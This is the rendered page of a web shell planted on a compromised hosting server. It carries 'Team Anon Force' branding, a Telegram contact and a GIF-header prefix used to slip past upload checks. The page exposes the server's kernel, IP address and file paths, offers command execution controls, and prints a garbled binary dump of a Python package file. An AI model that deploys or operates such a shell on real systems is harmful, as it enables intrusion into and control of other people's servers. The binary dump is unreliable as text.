GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
proc
/
self
/
root
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
pytest_snapshot
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _utils.cpython-311.pyc
� �|oim � � � d dl Z d dlZd dlmZ d dlZ ej d� � ZdZdedefd�Zde de fd �Z de defd �Zde fd�Z defd �Zdefd�Zd� Zd� ZdS )� N)�Pathz([0-9]+)\.([0-9]+)\.([0-9]+)z \/:*?"<>|�path�returnc �t � | � t j � � � � S # t $ r | cY S w xY w)zv Returns the path relative to the current working directory if possible. Otherwise return the path unchanged. )�relative_to�os�getcwd� ValueError)r s �h/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/pytest_snapshot/_utils.py�shorten_pathr sE � ������ ���,�,�,��� � � ��������s �%( �7�7�sc �� � t | � � � � � � dd� � } t j dd| � � } dddd�� | | � � } | S ) z� Return the given string converted to a string that can be used for a clean filename. Taken from https://github.com/django/django/blob/master/django/utils/text.py � �_z(?u)[^-\w.]� �empty�dot�dotdot)r �.�..)�str�strip�replace�re�sub�get�r s r �get_valid_filenamer s^ � � �A���������s�C�(�(�A� ��~�r�1�%�%�A� �5��1�1�5�5�a��;�;�A��H� c � � � t � � � dk p+� dk p%� dk pt � fd�t D � � � � S )a Returns false if the given string is definitely a path traversal or not a valid filename. Returns true if the string might be a valid filename. Note: This isn't secure, it just catches most accidental path traversals or invalid filenames. r r r c 3 � �K � | ]}|�v V � � d S �N� )�.0�cr s �r � <genexpr>z*might_be_valid_filename.<locals>.<genexpr>+ s'